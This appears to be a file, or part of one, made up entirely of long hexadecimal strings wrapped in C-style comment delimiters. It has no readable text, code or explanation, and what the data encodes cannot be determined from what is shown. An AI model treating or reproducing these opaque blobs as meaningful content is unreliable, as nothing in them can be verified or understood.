08bab233ddcb8c1f2ea795912c74f619693640f811f02d0800e32b7301a9af1a0672d217e2fccbd9acad2c0c9a3b4497f1c003ef037830c1044882d8736823e2749792da0ef9f51c06257a54aca51e0b99c079d1111e2b2aeecde131c9cd91ca143d969386bb4e970b86a41ddf2cfd639533e5eb05084ff560b6d0a6ed7d3ba803ccb1fefbddd5fca6a3081db5abd5ff5df6d26362bb298b83b53b672e19964ae80276464c62e059c7238679fb5d622b974edd64ab4bf9e156ee968e614624e3ed8527f3d588c1ed6e3295ab86e7d8de8b25b010fd9a1bd86607fa162b58ff211564c460d8ce0df111fd09048cbf51e7ce1104413dd87688efca398a66bbee18ea490f7ddecd7bf86025a306f4e52e1a7ee29eef2da16bc102221745145644053d2e591e17260f2052c2c9f570b984acf55faa8eaa513cd9417c302b250f34101a87a1e77c77feef41b8ed2ae95a3255ba7d741c1bb23cf0e1d7946c0a2fad2e49b15885847ecc9c28239cb8e5ab3df767bd6c988536bdbe2f62f5457473357e437fa23deccf6b32f04248f106b1b8d6946b04a2247cef7ccfa0a4a16e420ff284eb55f210acbe9fb5796c26a1064ebba69c4f73e15a60a8d8f42ce822704fa6c3594bd84b7c822bec94907f4ebda37ca1418566f985539d3cd0a662aa5fb4784660ac83e351e27d85fa1d87f2af335322938b434703eb866341aa948cf9060fe5850540fc733128a39b7503059d2a2a8805b61df623b16bf93cd5910be94d05267eca4eee9a89bd96c6b0b2ef130eee629ec9e70278e66e8b672c987525a47b8b002c04bfad7c343d670be84d4eff33310213cc5a832c3e715b17aaabd8a8a4b739a31dbbff04b6643678e1054c7757a525257dd2903f21f651b316f345de20fc6b49aee592e30ce8baab2c8d5f21a79f6b58cd101448b726b6188225bcde0f473dd509d42ace50e55326af8a08dbb8257694c2b56069f664fcc6c38ab0de103779f76284ca3f8c7903c94aec025799f30e76cb03422d440ad113f8539f7b730f6e584927efbe72f3874c436716e0ed84c1996967cd48895f4e51f61192052b6783b89740225a1fff3008b817dd58be9567eeff067f2ddf0e01fcfd511d47bc2d0e0a9d769faf6782958522c72aefcc099bd922c4dd04e026c873da4e56ba49b611a49d8084cb5d43a4639b8340d49f4e27356ec0ab28e37891eb44b4cac514d0c9bccec6bcab3b13cfa202ee4168c20931e22ae16d5b4ed0a35f958336ef554739f030355aa06ce0049f0aae55f7969c72136d98d7630d06bd6aa1e19f55fb155912770b2a784202abf8d8b6b12967fa3637357a6afab7bced4220952c45f6fdc281daed51b83bf6f1e8d68dceb45084117ff97337261efdfdbb2845ba8ef03436b8d9db90366929cc996bec2fd8a60b0330bff18a554ced92e6d09564a7d66e72f08904db693420ce1ceed7e684afb0396194e7dfde0e4f373d73ac861de8a0715e80b4925180316a9e28514063c79c4dd8f08ba75f394bcd225139f90b3a9d5c17d563642301f2a9ab0d17e8b9e306f8b54359d40b016f206164c1758cfbf61689f8236ebbd92d7f919cbc5bd2b068999337085f33c1a4268ff5002169bf006ab4ba3d14da445700443358c2f857802af26f643db13d7322c3a1272dd444ccd37704084f9c8a5e2829ab0fad244380786cb6f024a1b8fbfbbd01994de0de22082e7c54e310e69b85d08fee956a9f0322ea3c937e92f72c41666a82195bb4e823248e1ee3c59e34be49a24fd8d95e41a5a208933d0af799c0692940fdc1d1e9e68be0eb7b08f2133833d222abae5bf0b0e52ca24a1b00398920ab13342dc79a7bb7c2abeb2942efbf38616a89afb62ecb4f5fbb36320c53473056a35dfbef4e0cf1d7aee8f17248b4c8a826001159d7b7f81d2efc33427aa3fddccff4927da927a441dbcdc68acd079b5f5161218bdb8c5a147c77213f0b9d3c5b4377c4563172133088e0eada93167e35cd9036af2ea81fd464dc42dce5cb4d7426c3012c66f8e8463622efc43fbfb0f248aec04bc9e384d7eb61e34402f62ae2f1a8*/
/*c230dea4c54746fb51893f2b56ce70437a8743d8a9014a43b5e4288709d755f06733c51b57af47d2bffc867689b6b78769c45af4148f452983628f1e7c94a19664929a318584b50213b0f89770131913646ee4fb72699110ec7b4ff0e8762ffea87b615465ed2bede3ee4a1ddd9295599f91e52dfcb6657dda0676184e2427514e53e89645a4ebf9cee00a3080b37740420937e86b7571caef4b90fcea90409aaa25ec45bc082f1e683c7808990f874a81f96b500e002810ca42ddd653a0f4782e5de9bbed73e3fb54009a527d6f4c19da0741c7e0da796bb333393f10194db8136d3d88f82f38f149c9bd6632f8626b6d0574471ddcddc1084251de910f68c830c65fd3c928d6a6b91b97d10a3bd082a667eb9d0b950b652b45ae1a42e6056430fd3b48592fc770e54881c916f628c69daa37e15538b4300457bf31d6ecf2e09b986987929addcd73e5c26658f4b5f1dfa3db6263605e460bd9d76cffee099e440ff090b4cff363022b0415f51c12cd9badb7e5976adfbce88bf348a8cdc0adad5f13a953bd8632c645fab10d3a7cdc7768a562c12c699b9b5685c093260c9aad79025f2949751fe28361ed7a4bdc1c3f31ecee753a9ad6d55e150d2d9679d52082106ed63240a66a613f662da2075e7e935491065d68af145834a1120ef1859c1505460f2863a32f294df3ee1fb80b78ed3c2006fb19f481860460fbb74b3d71e6918326c2d8854a158543bec0a2a252d4566243f01070e7de6415b11adbe34ca50227da7a77d14a24b022382ee5b589c0d0efe3ef4c23c46fa2133ee8c5e63d9bbe8ad191dcc8d3787f6ee64770c05572a35e2335174002bf4f44d4c9ce853b51711da1b826b1f337573e4069a8fa8b5fa8581f1a8612a3581f0ca5b0cef63305a8be163707fcde38b4702b165a90f22fca4d46307ea864bb83917f940147751a14e65fa385ac0bebd93551675af415ef0440085670ab49753358e1d3555163bc81ba61d794542e35902e4a5d66115fdffbaf457551a32a23c5bed814346919f45eb38c3320147f37850671dc7b4f919e54af2f5ea382e40e6ae279c720836111da15de96ae6ce43eb1299678eb980d211d5a01ce03a2de444b1baef17ec1bb24ff1080ef4713f8bfc5089cbf0022843b3fabfbc1918dd2c6e60ded48f27e0b3d28af2f64b08ce86d564208e17a621afe1e9d01a4e83d3a41b8461274a3cd7491137dac59e2134581c4099ac0d7531b60043c7e5e93e768acedd98b1d579d6bcb8b2bc0c4054ff7b65fd202b3b1f1f2645b01f513ed8bf20969afae74c561baaf168d988a16032d62a048544ae9eaaae7a13459a9a2c6390c8dbec7e1fa384734316bc11b4bb554d0dedb5472d0101a2318380baceeb5d5bbfd94599c534ed81be071da4930aa5b6740b8e80b17ab46bbe481812c11a3150c3cd639326e483971c3dd2db3810274d7e1cc22c56446c4ccd4242644cbddd17c3fbff7d4992cdbbb16f121be1c9819e364c05801ab11ed0fd3a748a8b6009c033cbfa3e701794cb223e71a7297995def50a5bd8bbe3a9634d43365b40f35070e53751f4f37c1a794a62044aa59107039ea569dac077e795b5836fc6f09e56c9e6fc643a010f5667f01844fdffa30457084a0f6ee23bc5500f8a36f56fb8bc98180aec2ee2d411f902920dc3e3e88827c6c39e0f6a79751a7fdfd369959b1689dc01d71f31154097122a4ce13059d8e008ce8d2c56d7f11519a54c5c6fc1c4a9ea6a152f17eb0048304972b37c9bcdcecb98725b44e880bb4b99214c2c1a5dc91a3f4a13c0cb86d37408c20d78b1690f1d4c1fc000febc1ac22379e254a08fc3b1df626ba3568400af1decb71bc5218b9544036571d151a4612f27ddf776c5598eb1f9eb512a54fdc097161bd3c28c22f83f4ed2234a4400587ad74998b0f1a7ab7deed34c7d8ee3a3f5439d9bb88453d595f7503de78c425239f114f25da174b5630ae9debc74d820a2a120eea5399172c31e4cf4471f5648873a930a81765a021d46c9ba195400f30a0b494d7dcd6300e8555ecc7a757babe6713d4f08dd64c7e8765da0fcfe9db2927cb34a12c0b18a533ca4ecac84030617d2996d4c34cfc21df71f4b48c2325638a8b1f8f9e0429ff6da815ab2dcea01577c098193b3f687d244cce7e471d8db5eff61b78f8a61e74fc7987fef5ef2ea5737af4077ae666b9491d2a6231637ff605f7601860b0563d28b6d4710c81210b76fc72833d38c216b2ec6f9322a5acd26bd57daf30d8b85fe53bf03765ed1c42f6a214416a64b2ea9db3045113fc055afb583ee000b1e656c623709f0097e53bfad85cfde980dd5562398fc72a33204f32969f2f33c014d3c2890420c97bbaf0201cd2eeb58aad82fbc3ae935d826f72a82294c235dd16279c1685e67cebbaa5a91185f1aaf16d3752c3eb746c3e7e5d082cdbf695ab41c3cdae7b60e296512363aee34975b22fd302fc134d3712c0aa564debec74b123b0043fe235d2b8994b4e43f0d1b557b7c19599243c8bce0d7e85dd8512eff5a060dd44d25f8886e925e054c5b3ed3aeca57f3cc0edc6afe0271ac76589e954fbdc3dbdc1ff3e9789f3b29141eaebf0ff2154be0a49b53090c38953947bdddd06ab98aaefb8cbc6092876bbf0164b05924cf58665e6218ed700ff02d50eb564dcb60d19521704e9a4c5ecdf69f7542efb2570087042217c4b4ba239547e6ee369aa50251bf6dcaada5db959083bafd871c08b63b795456b34f4f3af9068a76f6f25b5198819bf0056c00bd81bcd228df35b31a1ed0a06eae87a943c16785b37a7520c592f6612*/
/*e5a99102f664da2612f14baea9df6a4450899069b1352b2c76327fa3344e437b2b2950e0143e474933932102370681aba30c0b22c150796b4ac52f63808e20ba5e478a64a3fde4f6f8a9bdab719c132c6284d8ef17df91869e274089cb3d2b26b709871643b57eb68b60e522b5acd0472cbc0e366ad7c762abfe76999c18fb7dfde2a840d69dd3f73f40832c0cd52955db7df9d6b4db48c5bd634c1b8b79888ed4997b59c92ca5d7f6cb7ded76ee76ba5a7417bc07866c9166de731cb3d2c6b2d1e9e831d8969aab1167a46cddbf0b7af7830a3844f2fe8479b8388049c592d4686ad2988d4b22874a7688f3c030b1004335f7f43ed2e7d60ad114f31e4d2ba8f1243cd54bf6b04cb40e6281bf1b538f83e258e149495b0fbbaba4956288df3233064a6d5b9f96e69f3281eeb47227fe151e6c2fa1692741c076df5b3ff5f6dfe6b343d2352926249fbe6a50a464232a598bbefd5ce0cd0de7a216fcf23e24cffca96911c79f820e3e477898e9945b0b98ce166c79ee49d487cc543c57e907d2dbce873d318e7995445200c8f967d23e843e57ebcbedbeca3bba23a626c5f9e72b71f52c143213dafa8053166add20d137f41855b896e8fde93f5c80668181daa8883466380fb86f6e99030518ba11215257cd19020adf9cfc0fb9a6783f2960b46ffbfbe4f28628274b81327bd7d2a117d18a40fef0effab9471f2ca2b77eee71f14bc0f34e00c059d8862e53c2f43ad6ffcaedc6613966f9e3bfe5c6fb33383575ab88a2a7d4481ea2a9c2812073b7867a8e13ddb8dd31a885fea8d6b7e9598f72fc89b61ead52ad5d877ccc16f50350a36f9a1821c113c682b81d2a33fba51fdcb02b58661c2148bf80cd6f2a6abe6ac23f446ef3339d470f41fe52b7d31e9b57fd2d46d40df43481d3e7657ddc6ec27521ae02df47f7a13d896325bfa2991eea840cd5b91b4322f23996113313fd8474a30c10833d6db0369cf0e528c6e37126269f26117f48ac0acf2da1a0bce7c3387676d68aafcd2f4f96cb4851006d16e41169855598b91db2c49455a105e9d6757fdc8c3bb34c49d9d2750c113ec464f54cc608df04473da2ec0531d55e333b68a88787218ea1ebe4ea13611e76b1e53049a20daa69e05b5c6ed48368947330490c67e156d8d6d6d7f354cb1d4cf32481d068d5cba1e7e22f38ad6b759e98f28b1c1c690226c0c3d70b2f5a8c9979aca70818895fd5e3493a307989049c090625fd3005ce63ac02f33347f51d0326d8ada28c8c3cdc1ddad475fdf5383cd6cae94a547461bf3c36d41ed82a37e2a9686266ce7a2edba9730343ed31ca033f3d22a3959efa5b8ffe63c58d2bdd7726c64a65577bb335816a9725455ded1bfed775e6225d8aebf4badda625a1639a5392c446d04628b8c0ce175160cd159036adbcd6878e3696531db4548adf3726e91d7b050480b210508db1b99cea5fe5e08fc11a2f58ff57d8db215b9acad1d440ec772bd939d3dd8792676d246762d72172b4c2b5bd3c9858ee99f9a5f1158912dba8c4cb94e8bea8a01a5f4174a47c98e1f23040bd487b027a09993a80872e6cd987a4d8637a08b11b886d22751238eb400e918785c9679d037e77157a5f32d5c4c228298f0167a3b1c650a31d3066d66f2e0b46f4b8ebc7b0015969d8792781d35c3297e6f0c2837eb347af954930bca24d1f6c3d015e09558da17381377d107c94366d4b3ac286a49dacfd674d363da6101125e17df34488bc61699c974328de1f0680adef28419d57424a7a97949ffeab8ba33eaa052438ee04e082c9944dac61d9dc669a0fdbe4687ae4579d6b567545e253665600d58f1b184ed742cd631bca3d5f75d4c732e100cabc54f8630e8441f4a4b92a060a4a9e85e0f14f280e0cb2ec64863b70e7c82282b467404bcd3857c7edb3e3525d5729176c67a99b54ede9455e88dd3bd7a8a244b36b896722e902466e21ef50844c14a8f3005abcc3692c65c12bf79d46c6f4aa2c72165992e7d4ac0458dea1e003f4ead4be93cfc9433cb691f89457be9f61c3286f83e7ab290a19561a9c16a5b5cf5baa241a23b09fe063230954a390f904081c5d2905d311b258ccfbd0c630ed2d91da108e82aaf0ffbed1f5c5195f6fd2c563d5265cc5874b83600e09cc229a85a4e34745ef2fbb6497e322db6874d405a356d2aeaa521dac5f2b7e6392a6df1916c4c6ac2f85535125056b534bc6b28266b2076640f6aab8ad11937de871e797752842315fad9742c8f3a3fc5cdf7f1343e116ce46e677885b73b95d022b8215b7672eb499cc0aba626180829de50cc2f611d1ba88ed68c2c34f5d37c04cd5494135e2a756c5a06e4fbc5497e45360f65a4a3edd36ac725e651dfb49d3655b3fe6f654fd8015ac5cb8effee23f641c6b8915a338d78d4bd7969396fe5755680aa49e9b515eb8a9b6f30ef8e7cdce328b1da507e0aae50234b65a7ff6e9f3624049d068b419f766922ce906f8e37703f1a699a03b8b4c5b5383312d4670a82396736902582ef4226a5ec8a3f1c596a4071d9a47bdd0b3701731a66cf33ef5a3326d344a032cec882613d333ea9023df54b1ec5c0e12ecbdb002fd9472dc4e3c9469c25156d0c5c76db11cb3a6d027946150e4cd766255e4af61fde0dbcfc1c1517d80b7726319c5be58f989529a5faf1e80fc1c910f5ded0fe0a9304b55365e49a7c412ee1f6a1fd9fff7f4a87b965c5f2ba5fec55d7ef56c960152ec05762771e964c3a5e18360e8bdb56f8d6da310b335db87b74a8a8430f5890f24a634804163d424492857bf04e3186f206a304aeb8918a9cb77d1*/
/*3c5d07c3bab4964882224cacb17bf0891e8123f593fcb786957419dae2bc09d6213d8610091848ba664063a0f966dcb2e3c7ebb3faa29a7c2e20b29afbbf948f37b96fda60547496b402744743a86cd30633d549d32ca139af3ab86dde4de6e6918c3c0ee322c28633f5fa014f89401907ae1d8b83ff72439973555aef24af05059f88a47bcf7631d5448c98647ded72ec7e01de888292326afe77e42515fe19b9bb519445dda7c455d00afdc213aa0f1223f7366ce0c0d279b3af3ff7eff5a3ddb3f0b84d36972ba0452e78ddf3a1303e5753da463aa49deaab834af17c3f044d7bc91b0d8a88deedbf50488db7a801b75bf98dcd754c64275b72fdff90d3ef0e703fed9d87e6a24392206f105a7b937e541dd5a8a92943cb4f0a1fc37ef4196f22e71239823eae5392c7e54b162f3a89fdde56bc016d15c2fcfcc1f591a315e703e4b298f752f3011fed32b72913b280b0ac25a6893cd9b939eff1ccf2b3515bf46550d94f082192797c62ebf375184fd176d5a376e5b6f6c2c9f71bd2f9d22b3d835805e53af776c7cc97b3a5d53b8792abbfd1317efe69b030505cae371fdb04a6f2b9a12e88f7135d8d8e47d6c85bb6265a855b3d0fec4370dbcd25ed16a24d664ac6a7a5dbcb1835e04c8df1c589a870efb6cd95885339bc1aaddcbb8c03612a4d0c09350dff89a7201bb98adcd12ec1eccea4d497fe78348d0475d83f6bddf840a1f70f482aecbdb27608029febedd8153f80581d650fb4debd0fb04a489fb46d8b8e326392544350c0aeca889ae024a182b829a0864af757dbc535bc81592a16eee53add708a2a44834fe6520c2e375fbfb68566d8078dd9aa48da295845b1552e187c9e4ea5650255dcbdb5aa5a94c7658e4162aa22b3a555448833226508d809345f79d87dfb45d7b8ed5b134b62546471a652deebd00b77a3f3ec65592de73f103202817d7a67ec2485067e0f47448cb7aec01313dc2a70ab6c940a84138d42b53fdb263df7e2ab787cbd561db3b3c2a6915438308e7fceb0eb036bccc80b74d727df61a361d5f132e793e6a7ddd690d9c3510940cb8814c129eca6f3223f4bf1f288577badf990e6abc426efe0961acc0f05bed7aca882904c96c0e25bc129f7aeb7e091fcb6a978ff2a2f53c5170c7565ef00e55e61f0d129ea6d66568bcc2fdbbacd6009a84bee39f48336802f8d33b872f70eb751ad3cf3da42ad13dca9239b3ac0f67a732e2da28de4567536a82b9f983678764628de4488529bae49f5ad933e570f98f1181fed2238efffede1d03ef96afb3623a60b1ba7f112a3b3b5aa3997db766c34d628d8c0737b24c754c7ecb7d7f8e89b443f60fc40484bbcb979a06378ef8a356802e242730c81fcee2378ad12fa2f7e2dd20bd0864a52a33dea3b8870f0ba63fa2727d2ddb911e0cab318245546904ed0189c47e9ac9da66551c40ec0184db47c0ff72d47e05150ca0b8944733626572086ffc0000d700b720653ef4e1e53327d0fa7945288a2e327f01bd466f62e630de056e12cd2c5d2ae19afa2d9021a50cded12f89354c216bf5aa100ab9d94eb7c81cffe2c11fdb7cb90d0f1e5d5657edacc5db9c46ce85b5ab6bd30b1b4a251d8fa4e65c1269ff86b1189689dc404f44e5a212cae8b9a39876630c807aa982084d10a6f5ca0710f352cc2c6922f1b1b6b4ce04fffb291cd8d9148b5eb1db3f75acfba8478c59b935a27b1861c1048c9220d9b00f3454ff0a438f27942dd311bc89e566c6868c8c855ff5e18708cd9f473e6ccb3c91e52466e8bc36e950fa61cb868dfd252fcd9caa74cc91ebf6a1661a08dfee2a6b67cfc85899e4ffa8c6e10563c781ceea07bab18d0c5822c4102e178509d3e011f472f7f1f8cc0378cfea5b12ce14b21d3076a2d84ffbea1264d6bb3c04b2adec654c5b0fbb3aeaa16f5d304fad024961dfbc7f37990f934cfcb430b168dd18f97ad2b85afae33db3da8608d17453d102afc928605e75f54ff500674891b177bd76dad4140c1a5def3f0dd18ee7275abf32f46e0184b7b0ad69836cf5a8e7a28a2a7b3ed364b49515456e60ebcdbf910be93bba0e857112c834689f15d4e7832809a57dcd3dd74b5181575bdb08318a083aa5b929cbddb9ea130b5da33604194a739dc7973c44e0fac20ed7f5e728cbb21de8c7e386232290a8e52737dc96f0febd3b61fd63eb5efab77697d856c1d68253683eb599f3239ed10360d0dd57c5dcef0bd8c5e7d3ca0da270ab29fae11ff5b8dc2ec3c9430afb6fe946b1d005097a3bf48aa77db475000f8167ed78d50108cbe8a64367d32f95560b6aeb2edc3113417066e782035e992ff359ba630604d37411a0b27b7c32af553071e9f2c1850a96764ecbd96c743e6b44e082e1c7a1d0342f683a7731ea38e3e7c11f20fc67182edef832571e2dd077deace39a1c17a6c4639832ad290ff2b201605c360820015e8ff41c91eeaeffcd1e86b16f69dd96440d4e46a9e3fd426f0e01e359aa5b917b003f1411eac4dc405f6fcebaa6ce08d540df88dd98504de855d2a64799183ced2fbb73d908f1f6f1743b489445fb30e9f59fcdf0264ba4e66e6c17b02b4d7d645ad7fe7dd90846c4121966b2300cf728890b0396c1014e087cdb7f44c0ca74228e920ac05b1537cfce29ee0e376c68defadb57a06b134ec8893220490855e5c8c3775cea037ce86ecac4a3f8f12cc355085693490b8c14ec8cc499244e44584ac1c91f1ee84e4ee116d2832be3753c05cc4ca80b48755c6a4fd0f3ccd051db058cf4011226b43a62288a3d4c06421de079aaa2dafc09061ae25f57bf6ed*/
/*9c69bdd354b4bdb5cf7a754d959f064a639c302d55e70046782492238f0f4c55ba6c98d5002db9417b674d48cebb66ca0b5e8b84d29475db2a80ef40370fba6d07880183d4387ff403159005498ddf8249823eba6bffb84939c0497531b34d1c12ba4bbc82945ee8dd7278c35584cd0a0ca317438cf8574b9731276323fda3e9dbbd7702f8c322ca690d5496b1ca95d23029911753aab50486fa0bb9edece4a5468d74b40c0b21e3f27b45c0d62711ff216dfedb905138a2ee0c807f3222ea8b4267efca97e9af54b3f2ee9062db2e49ae10cc9ad32de7f0747f097b957c748e3a526a5782edf72c372c52890135b103d381482895db233033380e749ccb1a9d60165b73af94134849f131784bee711a495fe91cf349104f7957f60dbd769e3d294970ff6d85561b2b4c89746af0935611c3aa867ae9c4898349379abea4e39886cd8c2713de0eb03968027af542654340354634dcf029131479acff0e1aa8d1d446930126439dd144cb96bb5f5dccdfedbd7b3ffdfaeed5352f55db0b590b0caf0fc12284cbc60b9bdedddfe37e7677665278ec57277a1c8f2fe09e23b6396176ba2e7beca7c4b0ad0c4446932f9224e892696ab3cc267770258414610249a0ca3bd1b389fee8dae309c71e83b5e9db1dee6ea45715c7c5c6b468aabe928426dc93ed4422b8b3659e43c3d6148e713db1ddf29faabaac224e1ed5613f806599d4f4e62e2eef0e6cf4596b8d1eff786973a97623d3e55e7524d6a874b45858e4e544c15407bd691a0182de810a67f6276bc7d1932b4ca0dd7f6daeee1044c6e00111b1835a44cd4930c98156f1353bdb5d8ae03ba0a48178a2338e7ee1dfe9619c7eb72d88f23463e9c6e586c11fd7e23447cb8e4fae7453f40589bde6d51dc53718028d42f26fb9c26f3ccc1330c1c2bd7378880e94dfcc1b7db257d3804adf71fcc42ef633529101b03af1018925a0dc919c97a7661d79b260f2d982167f45737b66ae18b9887c69c434bbc327e6e4988fc58484249cfb4302863520778206cf167b55207316300a391748c9ad18d7291dd99dcb1d80d2067059be59413f21d24e0e784e42ff9ed233854a08b865d8d128ddf4e15841cc4cdcc87f4760bd04b14e34f78b8c3403d06208118e0eb9e65e5906c61f92b114ce650f84217c6cf8d24366ed123a0b252b31ecdfc974dd447a9066b43bbb8fe8ec57ae3b3f56c47c73834323c4004af220bae2207ba62bee09c34f0677acab8b62775c531dff699083a75d903c1f5c39ae22b27ef6cd1f38d315b76c39f3add88c98a3388dcb3a20f1ad3d7b74202d01f3260e2973f97c9894504063f155d36ae7f9275821b3836ca1fc7b6ad5fb03447ce7cf37372865adda406f0719f7cda0992651ab1b4322afebdca3465715a1fa5d9b162a4a69d4d1c401266467a4425c2fc78c36731bd6657ce45a84a4a4e16bd2277924f133ee46c5e35c8f65616589060529c64b8e8511ef521d4a24cd42d57f7b5dc4d3f3db487ed74ec24498de02863ce32deb715e221c3d9b5125ae550e5090ca464feaa932577f79d823598ddb287a7b6dd1d18af041f173ff8bcc7836f0d54a9b6d866ab338185b9806c27b8012c6f51a0cb723541899d9a79e81dfeffa1135d061dd37f247146d2b6036a02eaef7fd5251d86e4df84f859997f5fa2c4b46427c659ec15c84d63d9c3aaa9211717f5b0708318988c8541a030365717d5eaf64723628485f4d98828cc75a18e77795b2e33cb3547e02f8fe63ba1708e52889392d5ccc9c39cadc894b6f352413bf167a5a53086903fd5e4738739493fec9e50ec4d980f92a2dd00cb003b100ca821c9647b3e926d5aaecb782df42f320780a481d5da2df258ab8221c89fa091de295be4370aca1286c78a4f2efba7fd9e55fc8d10fe6c703f2ffb335e416012735133a708f66d3ec0bf6f54ea400499d4999a6455afcd0d5a80dacf71ec91550383da459916f6858cfe4e8a8fda73c0ca1be984d1edebba55a4c9672cc1d2fb49e4925bdc1f7a3292f39cd2267da808c929c9e86652c6ad4557430b910822c19769a535101c8f78bdd853d60aca7aeb332adf496fa75d84c49d44ec861ac27f29ac28da3bd8cbe88f3332e2461efc13ef9a742a97b88349643fbe6c50318737f650093b2f2dffba9f95f97feef5599a84a1b6fc3ade10abbc578bd1ebd1744e3c905133c3b394c5eeb257d2f0c758da1ffe380c37208bb665ea43897b3037fdf0e8491794cbf892510f48970b7efa3fec6c97e54c9d570c7823dc1a7aa759aeb6a6d46d720a003db0f8e65166622b67dbfe1d884298cb661ae9251ef2e2ca432ecbae4a5d3dcb1a7eb8ecb3f6e4866b7e9982790b3dd3e50f39a73902eb887715629285f7c819a4ee2a69e4d12f89e393bb690b27050ba3a17dadb5182ce38641b46756dc5b163c7f773f85ad9086a5fb54e6e6316382ba8b8ece55dd4fade853485e137c1a5d99517979baa9449ab0b574217987b572901cd0bf652860a7264c9eb7d279bbb811b675ae151a9da9dad79136a349723f4116ec90edbba3a76300f0839eda3380a1e5076fecafb45715924c797cbb5f933d276462d9e8799d05464d3ce776fd55d6dfa5c132dd1ee636bda0442fc0b807a30d94a40cb04d35eefd62832cecedf44ad5b223c0c44aa3722f6c3a828f59f7db34a727c8b75a91a50bb1d7766655aa348eb97e6ee1f7d8d884932b8aacb8ce2f03d70971b131a102571a7924f0a56594712ac3e50536653764ee41c5dd236b56c422c89bc78b061ea4b3b9ed020e5d521de0ea9c2611b97a23c4539bede03fd00*/
/*ab9083e3d5bb5cd75336149947ec8125b286aa93139f9923d442c124b2921d421e2dde1b4ea554e110177bf8949400ce775ab1e7704e46201c51513d73fbcb231cdfdca199fd7c830cc0d1eb07ddfdf3a6dcd338de061eb20f92bd5f511243de8f7178ef614499f0dc82935aba89784c8e623f5c4fa2f9aef69b416367380d1dd12cd178481daa776ef47c51d0bf863edf013ceeb11c53411d74badea48bc98957da588caf08914943969e57c5ebc3b4233188035c81f5ae6e0bf547ab3472d52a9f7d6353424e5a0a1402a61805a30b34b3167ce4f7a437c0fbe88d74221dc8bc18e82a28deb39f591780ecd983691c3855b8daa4c33f2632f2b5a201442e3a4ce8f83f975c3ef4e705a15d0d838da84a24706fd942d2a8a4057b56f84fbe383a56a65a69cc1312e368b91f00a04c54986f7d800097bf1522305fe80e9bdebcea71f49f657cac9f2456fab50c34e9bc65647a28a8a0e1ba8289dc73d22da21ca0877861a0844d74360f37d3da69cee837773b09378f7c531b7195b7b59347db7867eb5249ea692bfa9544c18cd221b039e82c5cc1ed80e7968f1af15d067633a14e0416dcc50049ba3f6d92bd890cf8a0b8768799ab7875a8fb2c5f8f86a092c6bde44be0498c28aba4cbd1431dd1dcbf2e9779e2df8fe2a2b9e9550102af07f895f00a6a45e0bd03cde4d0f67b437469ed6a47a5348fe44cca3f6d144c55f265f59bdf5c3afc5a7ee447a5c58355c40113052ff03bf786adba6a5e6058342f9ac13158731601137099a60371722076f98db493d1c60b4917383e71a1f7ead2c0e653f3e33eaa6ee3298a03bcc4ccc61df8db003f9c0f05a5b0ea7379585e9fbaa6e096e85fd51081c0d3d9a5ad4c9632aad4e57fa518232863bfa18dab66d617bccd6170e35f624fd069d3f2c4e59588012f4e4c1eca109d9e3ce1cae69913b37e54b4ab4d1bcaee21ef982213ad5bc1443ebd96183f70bb3fe9adf8dae0544f51e593ce8a4ddb8e137286b014a67a240224365652fd080008fdce3169b8d9d4c51847dde52620d2fe4378c69c4327fd072ac0e592621b0a9f11b3e6574d8315e282c26d91328a8a8a04845b2408f98eaeaef127521300f479e64146868c7d28f32b777dedddcceefc6bf419f94726ffacc321142386ba5e341e694a1cecab6582ac6165867d1668a563fd7fa613e4b96e9a857a1c8cccf4266efc838043b0cff5165101f5ff9214c532e3a63bc69f22210ad311ba7b436b33f190470c08aa3f2d600828272db32e413bc3b6d81561a138429f22bbdf785ddd7907e69ecd46b04dd03382188ca2ac78b4baacb44b2329c917fdf67b94d22a3fa0feafd8420963e22f078cf7239da082c272db4edb9694f7c707e5f88e5edbec23a78605bd1430e4a940f68d7785e18a2d8939385e4b9bf87d69142b2abc37d4e409b09ae0e4588c85e07987ed35c7abd77afa2a356d664a02402cc7a5b7b41a447189d3753df9d72af0ab50f4c9c2bfa8ad92af570ddea4121aab7156c4a9d947db376f345a5dfdb310cc7a1693bff1ac1fbbf73712a174cd4f9bc44752f15b6eefa6b03167639bd934633e3c807875096585eec821b7b21c12d3fa8d509a239342d068edb0ae83f85426414a4cb17460c54f6ae95c7a2b675c3ce1a408a13f02ccd42c5d34a973f24e64fa13a900593448987cbf9492f6ac6f40b01bc2d36eaf1fa86a57692881a4bd425bb10f9adf59c45cd9c8b95a064da6c77e0f682bf64959d6b5799b4aef0f42c1bbe1c0651b54432cd221b99badecfd2097f29fe1d2292d7947ba0cb522413d9fcda1c7e32a831e0bf019b59ff9b7f62f3784344ca19205ba308eefc1acb73cf20b754f99efe9ac1a075ef33356e567ccad0373a71c879945a82b2859df81b3e20aa8191f9712f0ecb1df1afb821ef6207a66f23d2887e599c8b1a0de951e260215dee3267d168c68d4e058484181db907f40fa21401bc83948e0eabbb0185adc0073c38b39805c2441b41592c9fbf4b61840eebd8afb820ca905b0f6cca41430cde3a6f506395a6b2e513960ac7824a2202f53cff636a9fef47eacbaf4a6d0c1f67f467b8ffef109519e2e8c8af808e396a3ec7a9ec85ebf1013e3d1d118ac8093d69025389727191a2b7e4b8320b9267c0ce0edf9fe63471c740113d2838a743dcc37845d2b980da58444bfded1a1e21ca0c46822e1644e98251974fdc7924cfb579a641a7c27262e80e056f8b1102808699b44f5072139a831ab51a514b5f6bf1ba7331783febde7f116e3569c209b9a59fb1a00ec64e67bf766bdd2821e063e25d1d0e14b537bd52dde52148763b434273540a889341a6181f368ba3b214d0e5f473b5974eedf8a332a1a1bc27cf03e632eb0ac50f820124e23913da85d6e21c357a2c0696af1727cf3adcdce52b572bf0db87d66c4247ddf75cda89e5e764c40a4c63daa155765c1cd01afbaada98a70400d2816782d18cb17ef90cf0bd3ef9316686c69e405822af683c25c03e30c390fb03ece2a44fa44a5198266d641c04c1f902f377b8638dc53386b5246a30399b70cca357c5f7f49cb8fc3ffadf9db696ddf95b89a382c0519f98f033cdad14e7237aeab9000b0cf5edeb0d97c6cac6628ed809691d37991b0508a8014df2d3cd2f85b025bf3cdb511b8af9345f28424fccdfe028dd20a1226a257538fbc2ee21b813018272af4eb702f3e11a1da40d503502261bfa16fa60c2fa4bc0b953c3eacbfc988b0bd5c258eb83ac9f2e67ccff0e550fdd1e6734960b36843d331643fbc1616c4dc70760863a15c8b12569ffa4e8733b5cd6eda7091*/
